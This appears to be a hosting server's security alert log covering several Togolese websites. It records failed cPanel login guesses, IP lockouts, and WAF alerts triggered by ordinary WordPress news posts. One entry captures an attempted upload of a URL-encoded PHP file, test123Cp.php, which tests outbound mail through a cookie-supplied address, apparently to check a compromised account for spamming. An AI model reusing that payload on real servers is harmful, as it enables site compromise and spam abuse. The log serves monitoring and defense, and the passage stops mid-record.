[2026-06-22 15:23:11 +0000] info [cpaneld] 96.231.129.28 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.125.97.41
country_id: 6252001
description:
[2026-06-22 15:23:34 +0000] info [cpaneld] 76.125.97.41 - arian "GET /login/?login_only=1&user=arian&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arian (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.69.134.184
country_id: 6252001
description:
[2026-06-22 15:23:49 +0000] info [cpaneld] 73.69.134.184 - ari "GET /login/?login_only=1&user=ari&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ari (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.13.103.189
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/reboisement-un-appel-national-a-lengagement-citoyen-pour-batir-le-togo-de-demain/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.13.103.189
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/reboisement-un-appel-national-a-lengagement-citoyen-pour-batir-le-togo-de-demain/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.161.129.251
country_id: 6252001
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/wp-content/uploads/2019/09/COMMUNIQUE-CCR-AGRI.pdf HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.119.155.2
country_id: 1831722
description:
103.119.155.2 - - [22/Jun/2026:15:31:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182233&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782142263 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.119.155.2


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:15:32:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724758&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782142373 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:15:32:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724246&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782142373 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.99
country_id: 3469034
description:
Jun 22 15:33:14 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.99 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 140.213.0.106
country_id: 1643084
description:
140.213.0.106 - - [22/Jun/2026:15:33:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6722504&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782142433 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.213.0.106


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>\xc3\x80 l'occasion de la journ\xc3\xa9e de l\xe2\x80\x99enfant africain, \xc3\xa9dition 2026, c\xc3\xa9l\xc3\xa9br\xc3\xa9e le mardi 16 juin, la pr\xc3\xa9fecture de dankpen a \xc3\xa9t\xc3\xa9 v\xc3\xa9cue une journ\xc3\xa9e plac\xc3\xa9e sous le signe de l\xe2\x80\x99action et du d\xc3\xa9veloppement durable. sous le th\xc3\xa8me continental \xc2\xab garantir l\xe2\x80\x99acc\xc3\xa8s universel \xc3\xa0 l\xe2\x80\x99eau, \xc3\xa0 l\xe2\x80\x99assainissement et \xc3\xa0 l\xe2\x80\x99hygi\xc3\xa8ne pour tous les enfants d\xe2\x80\x99afrique \xc2\xbb, l\xe2\x80\x99ex\xc3\xa9cutif togolais et ses partenaires, notamment l\xe2\x80\x99unicef et plan international, ont lanc\xc3\xa9 une s\xc3\xa9rie d'initiatives concr\xc3\xa8tes \xc3\xa0 gu\xc3\xa9rin-kouka.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>un nouveau forage et des latrines pour l\xe2\x80\x99h\xc3\xb4pital de district de dankpen</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la c\xc3\xa9r\xc3\xa9monie officielle, qui s\xe2\x80\x99est tenue au centre hospitalier pr\xc3\xa9fectoral de gu\xc3\xa9rin-kouka, a \xc3\xa9t\xc3\xa9 marqu\xc3\xa9e par la pose de la premi\xc3\xa8re pierre d\xe2\x80\x99un forage et de latrines modernes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ce projet s\xe2\x80\x99inscrit dans le cadre du programme global <em>\xc2\xab am\xc3\xa9liorer l\xe2\x80\x99acc\xc3\xa8s \xc3\xa9quitable et durable \xc3\xa0 un ensemble int\xc3\xa9gr\xc3\xa9 de services essentiels destin\xc3\xa9s aux enfants au nord du togo gr\xc3\xa2ce \xc3\xa0 une approche ax\xc3\xa9e sur la coh\xc3\xa9sion sociale \xc2\xbb</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette infrastructure sanitaire essentielle est mise en \xc5\x93uvre par l\xe2\x80\x99unicef, gr\xc3\xa2ce au soutien financier de la r\xc3\xa9publique de cor\xc3\xa9e via l'agence koica, et en partenariat avec le programme alimentaire mondial (pam).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\xc3\x80 terme, ces installations vont transformer le quotidien des patients, des enfants, des femmes et de l'ensemble des communaut\xc3\xa9s locales, en s\xc3\xa9curisant l'acc\xc3\xa8s \xc3\xa0 l\xe2\x80\x99eau potable et \xc3\xa0 un assainissement digne.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31389,\"width\":\"771px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/eunnn.jpg\" alt=\"\" class=\"wp-image-31389\" style=\"width:771px;height:auto\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>plan international togo pour l\xe2\x80\x99hygi\xc3\xa8ne menstruelle et la scolarisation des filles</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en marge des infrastructures hospitali\xc3\xa8res, plan international togo a apport\xc3\xa9 un soutien de taille au monde scolaire de ladite pr\xc3\xa9fecture. en effet, des kits d\xe2\x80\x99hygi\xc3\xa8ne et d\xe2\x80\x99assainissement ont \xc3\xa9t\xc3\xa9 distribu\xc3\xa9s \xc3\xa0 320 filles issues de cinq \xc3\xa9tablissements scolaires de dankpen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette action s'int\xc3\xa8gre dans une strat\xc3\xa9gie \xc3\xa0 long terme men\xc3\xa9e via le projet du <em>fonds r\xc3\xa9gional de stabilisation et de d\xc3\xa9veloppement de la cedeao (frsd)</em>, co-financ\xc3\xa9 par la cedeao, la kfw et plan international.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en termes de bilan, les impacts de ces actions dans la r\xc3\xa9gion sont \xc3\xa9normes. outre des actions de sensibilisation communautaire, on note la construction de 24 b\xc3\xa2timents scolaires (jardins d'enfants, primaires, coll\xc3\xa8ges) int\xc3\xa9grant des blocs sanitaires&nbsp;; l\xe2\x80\x99installation de 10 gouvernements d\xe2\x80\x99enfants pour favoriser le leadership des jeunes&nbsp;; la cr\xc3\xa9ation des clubs d\xe2\x80\x99hygi\xc3\xa8ne (14 au total) dans l\xe2\x80\x99optique de p\xc3\xa9renniser les bonnes pratiques au sein des communaut\xc3\xa9s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons que l'acc\xc3\xa8s \xc3\xa0 l'eau et \xc3\xa0 l'hygi\xc3\xa8ne est un droit fondamental, inscrit dans la <em>charte africaine des droits et du bien-\xc3\xaatre de l\xe2\x80\x99enfant</em>. selon les sp\xc3\xa9cialistes, des conditions sanitaires ad\xc3\xa9quates \xc3\xa0 l'\xc3\xa9cole et \xc3\xa0 la maison sont indispensables pour garantir une bonne sant\xc3\xa9 des enfants par la limitation des maladies hydriques, une protection des jeunes filles en levant les tabous li\xc3\xa9s \xc3\xa0 l\xe2\x80\x99hygi\xc3\xa8ne menstruelle, et assurent une r\xc3\xa9ussite scolaire par la r\xc3\xa9duction de l\xe2\x80\x99absent\xc3\xa9isme.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31390,\"width\":\"725px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/le-representant-du-pam-representant-le-systeme-des-nations-unies-et-le-directeur-de-koaci.jpg\" alt=\"\" class=\"wp-image-31390\" style=\"width:725px;height:auto\" /><figcaption class=\"wp-element-caption\"><strong><em>le repr\xc3\xa9sentant du pam, repr\xc3\xa9sentant le syst\xc3\xa8me des nations unies et le directeur de koaci</em></strong></figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>pour rappel la journ\xc3\xa9e de l\xe2\x80\x99enfant africain, institu\xc3\xa9e en 1991 par l\xe2\x80\x99organisation de l\xe2\x80\x99unit\xc3\xa9 africaine, est c\xc3\xa9l\xc3\xa9br\xc3\xa9e chaque ann\xc3\xa9e le 16 juin dans l\xe2\x80\x99optique de promouvoir les droits et le bien-\xc3\xaatre des enfants sur le continent. elle constitue une occasion de mobilisation des gouvernements, des partenaires techniques et financiers, de la soci\xc3\xa9t\xc3\xa9 civile, des communaut\xc3\xa9s et des enfants eux-m\xc3\xaames autour des enjeux majeurs affectant leur d\xc3\xa9veloppement et leur protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>jpb</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.26.136
country_id: 2635167
description:
[2026-06-22 15:36:15 +0000] info [cpaneld] 195.63.26.136 - yydrdvav "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.193
country_id: 2300660
description:
Jun 22 15:37:50 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.193 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.86.238
country_id: 298795
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/js/comment-reply.min.js?ver=6.9.4 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.219.180
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/blocks/paragraph/style.min.css?ver=6.9.4 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.237.218.200
country_id: 6252001
description:
[2026-06-22 15:39:52 +0000] info [cpaneld] 24.237.218.200 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.53.159.250
country_id: 6252001
description:
[2026-06-22 15:40:09 +0000] info [cpaneld] 136.53.159.250 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.102.17
country_id: 453733
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/plugins/gtranslate/js/float.js?ver=3.1.1 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.132.140
country_id: 453733
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/plugins/rocket-lazy-load/assets/js/16.1/lazyload.min.js HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>rappel\xc3\xa9 \xc3\xa0 dieu \xc3\xa0 l'\xc3\xa2ge de 86 ans, sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui boniface fafanyo kossi agboli agokoli iv, roi des ew\xc3\xa9, a re\xc3\xa7u un ultime hommage le samedi 20 juin 2026 \xc3\xa0 nots\xc3\xa8. les c\xc3\xa9r\xc3\xa9monies ont \xc3\xa9t\xc3\xa9 marqu\xc3\xa9es par une messe pontificale conc\xc3\xa9l\xc3\xa9br\xc3\xa9e sur l\xe2\x80\x99esplanade de la place de l\xe2\x80\x99ind\xc3\xa9pendance, suivie de son inhumation dans l\xe2\x80\x99intimit\xc3\xa9 familiale. ceci apr\xc3\xa8s une veill\xc3\xa9e fun\xc3\xa8bre, vendredi soir \xc3\xa0 nots\xc3\xa8, \xc3\xa0 la hauteur de l\xe2\x80\x99illustre disparu, et </em></strong><strong>plac\xc3\xa9e sous le signe de la foi, du souvenir et du recueillement.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l\xe2\x80\x99\xc3\xa9v\xc3\xa9nement a mobilis\xc3\xa9 de nombreuses personnalit\xc3\xa9s de premier plan, parmi lesquelles le pr\xc3\xa9sident de l\xe2\x80\x99assembl\xc3\xa9e nationale, le prof. komi selom klassou, le pr\xc3\xa9sident du s\xc3\xa9nat, barry moussa barqu\xc3\xa9, des pr\xc3\xa9sidents des institutions de la r\xc3\xa9publique, des membres du gouvernement, des d\xc3\xa9put\xc3\xa9s et s\xc3\xa9nateurs, des autorit\xc3\xa9s traditionnelles et religieuses, ainsi que des fils et filles du peuple ew\xc3\xa9 venus du togo, du b\xc3\xa9nin, du ghana et de la diaspora.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au cours de la c\xc3\xa9r\xc3\xa9monie d\xe2\x80\x99hommage, togbui mawuto fr\xc3\xa9d\xc3\xa9ric dzidzoli d\xc3\xa9tu x, chef du canton d\xe2\x80\x99aflao gakli, a, au nom du conseil national de la chefferie traditionnelle, rappel\xc3\xa9 que, pour le d\xc3\xa9funt roi, l\xe2\x80\x99apparat royal constituait avant tout un habit de travail, une vision qu\xe2\x80\x99il a incarn\xc3\xa9e tout au long de son r\xc3\xa8gne.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31450,\"width\":\"775px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/aa-nuit.jpg\" alt=\"\" class=\"wp-image-31450\" style=\"width:775px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab avec sa canne de leader charismatique qu'il vient de d\xc3\xa9poser pour toujours, il a sillonn\xc3\xa9 toutes les pr\xc3\xa9fectures afin de transmettre aux chefs les valeurs et les vertus que doivent porter les garants des us et coutumes \xc2\xbb,</em> a-t-il d\xc3\xa9clar\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>togbui mawuko adela aklassou iv, vice-pr\xc3\xa9sident de l\xe2\x80\x99union eweto, a pour, sa part, r\xc3\xa9it\xc3\xa9r\xc3\xa9 l\xe2\x80\x99amour que le roi portait au travail, soulignant que son mot d\xe2\x80\x99ordre \xc3\xa0 l\xe2\x80\x99endroit des chefs de l\xe2\x80\x99espace ew\xc3\xa9 \xc3\xa9tait de servir avant de r\xc3\xa9gner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab serviteur dot\xc3\xa9 d'une grande \xc3\xa9nergie physique et intellectuelle, il ne s'avoua jamais abattu malgr\xc3\xa9 le poids de l'\xc3\xa2ge. v\xc3\xa9ritable garant des us et coutumes, il s'\xc3\xa9tait engag\xc3\xa9 \xc3\xa0 restaurer le sanctuaire d'agbogbodzi pour en faire un lieu sacr\xc3\xa9 et attractif au service des valeurs traditionnelles \xc2\xbb,</em> a-t-il ajout\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>mgr beno\xc3\xaet alowonou, \xc3\x89v\xc3\xaaque de kpalim\xc3\xa9 et pr\xc3\xa9sident de la conf\xc3\xa9rence des \xc3\xa9v\xc3\xaaques du togo (cet), c\xc3\xa9l\xc3\xa9brant la messe d\xe2\x80\x99enterrement, a rappel\xc3\xa9 l\xe2\x80\x99attachement du souverain \xc3\xa0 la foi chr\xc3\xa9tienne \xc3\xa0 travers son bapt\xc3\xaame et a pri\xc3\xa9 pour que le seigneur l\xe2\x80\x99accueille dans sa demeure de repos \xc3\xa9ternel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>la c\xc3\xa9r\xc3\xa9monie s\xe2\x80\x99est ensuite poursuivie par l\xe2\x80\x99ex\xc3\xa9cution de danses traditionnelles telles que alaga, brekete, djokoto et ablafo, en hommage au souverain disparu.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en raison des exigences de la tradition, le cercueil du roi n\xe2\x80\x99a pas \xc3\xa9t\xc3\xa9 expos\xc3\xa9 au public. seuls ses attributs royaux et ses reliques ont \xc3\xa9t\xc3\xa9 pr\xc3\xa9sent\xc3\xa9s sur la place publique lors de la c\xc3\xa9r\xc3\xa9monie d\xe2\x80\x99hommage, avant d\xe2\x80\x99\xc3\xaatre solennellement reconduits \xc3\xa0 la r\xc3\xa9sidence royale conform\xc3\xa9ment aux usages coutumiers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>togbui agokoli iv a occup\xc3\xa9 plusieurs hautes fonctions avant son d\xc3\xa9c\xc3\xa8s. il fut notamment chef du canton de nots\xc3\xa9, pr\xc3\xa9sident du conseil national de la chefferie traditionnelle du togo (cnctt), pr\xc3\xa9sident du bureau ex\xc3\xa9cutif de l\xe2\x80\x99union eweto, ancien membre de la commission nationale des droits de l\xe2\x80\x99homme (cndh) ainsi qu\xe2\x80\x99ancien membre de la commission v\xc3\xa9rit\xc3\xa9, justice et r\xc3\xa9conciliation (cvjr) et officier de l'ordre du mono.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>avec son inhumation, s\xe2\x80\x99ach\xc3\xa8ve le parcours terrestre de sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui agokoli iv. son h\xc3\xa9ritage, marqu\xc3\xa9 par la promotion des valeurs traditionnelles, l\xe2\x80\x99unit\xc3\xa9 du peuple ew\xc3\xa9 et le service \xc3\xa0 la nation, demeure d\xc3\xa9sormais une source d\xe2\x80\x99inspiration pour les g\xc3\xa9n\xc3\xa9rations pr\xc3\xa9sentes et futures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons que la veille de son inhumation, une grande veill\xc3\xa9e fun\xc3\xa8bre en hommage \xc3\xa0 sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui boniface fafanyo kossi agboli agokoli iv s'\xc3\xa9tait tenue toujours \xc3\xa0 nots\xc3\xa9. plac\xc3\xa9e sous le signe de la foi, du souvenir et du recueillement, cette c\xc3\xa9l\xc3\xa9bration a r\xc3\xa9uni, les fils et filles du peuple ew\xc3\xa9 venus du togo, du b\xc3\xa9nin, du ghana ainsi que de la diaspora, les autorit\xc3\xa9s politiques, traditionnelles et administratives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31451,\"width\":\"840px\",\"height\":\"auto\",\"aspectratio\":\"4.630098452883263\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/abace.jpg\" alt=\"\" class=\"wp-image-31451\" style=\"aspect-ratio:4.630098452883263;width:840px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>pr\xc3\xa9sid\xc3\xa9e par le r\xc3\xa9v\xc3\xa9rend p\xc3\xa8re jean-marie koglo, pr\xc3\xaatre r\xc3\xa9sident \xc3\xa0 la paroisse saint-rapha\xc3\xabl d'ad\xc3\xa9ta, le c\xc3\xa9l\xc3\xa9brant principal a, dans son hom\xc3\xa9lie, invit\xc3\xa9 l'assistance \xc3\xa0 m\xc3\xa9diter sur la vie de foi et de service de sa majest\xc3\xa9 togbui agokoli iv. il a soulign\xc3\xa9 sa fid\xc3\xa9lit\xc3\xa9 aux valeurs \xc3\xa9vang\xc3\xa9liques, son engagement au service de son peuple et son esp\xc3\xa9rance en la vie \xc3\xa9ternelle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour rappel, togbui agokoli iv est n\xc3\xa9 en 1940 \xc3\xa0 nots\xc3\xa9, et a consacr\xc3\xa9 sa vie \xc3\xa0 la pr\xc3\xa9servation des traditions ancestrales et \xc3\xa0 la promotion de l'identit\xc3\xa9 culturelle \xc3\xa9w\xc3\xa9. figure respect\xc3\xa9e de la royaut\xc3\xa9 traditionnelle togolaise, il a occup\xc3\xa9 plusieurs hautes responsabilit\xc3\xa9s, notamment celles de chef du canton de nots\xc3\xa8, de pr\xc3\xa9sident du conseil national de la chefferie traditionnelle du togo, de membre de la commission nationale des droits de l'homme (cndh) et de la commission v\xc3\xa9rit\xc3\xa9, justice et r\xc3\xa9conciliation (cvjr). rassembleur, homme de paix, de sagesse et d'unit\xc3\xa9, il \xc3\xa9tait \xc3\xa9cout\xc3\xa9, suivi et respect\xc3\xa9 au-del\xc3\xa0 de sa communaut\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>mc avec an</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>rappel\xc3\xa9 \xc3\xa0 dieu \xc3\xa0 l'\xc3\xa2ge de 86 ans, sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui boniface fafanyo kossi agboli agokoli iv, roi des ew\xc3\xa9, a re\xc3\xa7u un ultime hommage le samedi 20 juin 2026 \xc3\xa0 nots\xc3\xa8. les c\xc3\xa9r\xc3\xa9monies ont \xc3\xa9t\xc3\xa9 marqu\xc3\xa9es par une messe pontificale conc\xc3\xa9l\xc3\xa9br\xc3\xa9e sur l\xe2\x80\x99esplanade de la place de l\xe2\x80\x99ind\xc3\xa9pendance, suivie de son inhumation dans l\xe2\x80\x99intimit\xc3\xa9 familiale. ceci apr\xc3\xa8s une veill\xc3\xa9e fun\xc3\xa8bre, vendredi soir \xc3\xa0 nots\xc3\xa8, \xc3\xa0 la hauteur de l\xe2\x80\x99illustre disparu, et </em></strong><strong>plac\xc3\xa9e sous le signe de la foi, du souvenir et du recueillement.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l\xe2\x80\x99\xc3\xa9v\xc3\xa9nement a mobilis\xc3\xa9 de nombreuses personnalit\xc3\xa9s de premier plan, parmi lesquelles le pr\xc3\xa9sident de l\xe2\x80\x99assembl\xc3\xa9e nationale, le prof. komi selom klassou, le pr\xc3\xa9sident du s\xc3\xa9nat, barry moussa barqu\xc3\xa9, des pr\xc3\xa9sidents des institutions de la r\xc3\xa9publique, des 